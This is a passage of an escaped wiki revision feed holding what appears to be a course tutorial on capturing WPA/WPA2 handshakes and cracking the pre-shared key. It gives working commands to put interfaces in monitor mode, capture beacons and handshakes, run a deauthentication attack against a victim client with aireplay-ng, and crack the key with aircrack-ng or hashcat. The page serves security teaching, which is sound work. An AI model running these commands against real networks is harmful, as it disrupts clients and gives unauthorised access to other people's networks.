                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
 				   The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
 # Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
 # Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
 sudo airport $INTERFACE sniff $CHANNEL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassociate from any network: (-z --disassociate)&lt;br /&gt;
 sudo airport -z&lt;br /&gt;
&lt;br /&gt;
* Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
 sudo airport -c&amp;lt;b&amp;gt;$CHANNEL&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Capture a beacon frame from the AP&lt;br /&gt;
 sudo tcpdump &amp;quot;type mgt subtype beacon and ether src &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 1 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w beacon.cap&lt;br /&gt;
&lt;br /&gt;
* Wait for the WPA handshake&lt;br /&gt;
 sudo tcpdump &amp;quot;ether proto 0x888e and ether host &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -U -vvv -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
* Merge the two files&lt;br /&gt;
 mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt; (or John the Ripper).&lt;br /&gt;
&lt;br /&gt;
* Convert .cap to .hcapx file (Part of &amp;lt;i&amp;gt;hashcat-utils&amp;lt;/i&amp;gt;)&lt;br /&gt;
 cap2hccapx capture.cap capture.hccapx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Crack using a simple dictionary attack:&lt;br /&gt;
 hashcat -m 2500 capture.hccapx wordlist.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed with Wireshark, filtering for &amp;lt;i&amp;gt;eapol&amp;lt;/i&amp;gt; messages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
 aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&lt;br /&gt;
: -0 means deauthentication&lt;br /&gt;
: 1 number of deauthentication frames sent&lt;br /&gt;
: -a bssid mac address&lt;br /&gt;
: -c victim mac address to deauthenticate&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, with Wifi interface card&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx 1.0)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4730</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4730"/>
		<updated>2020-11-08T15:43:17Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor edit&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Install Homebrew, the Missing Package Manager for macOS (or Linux): &amp;lt;code&amp;gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0		iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0mon	iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
 airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
 				   The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
 # Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
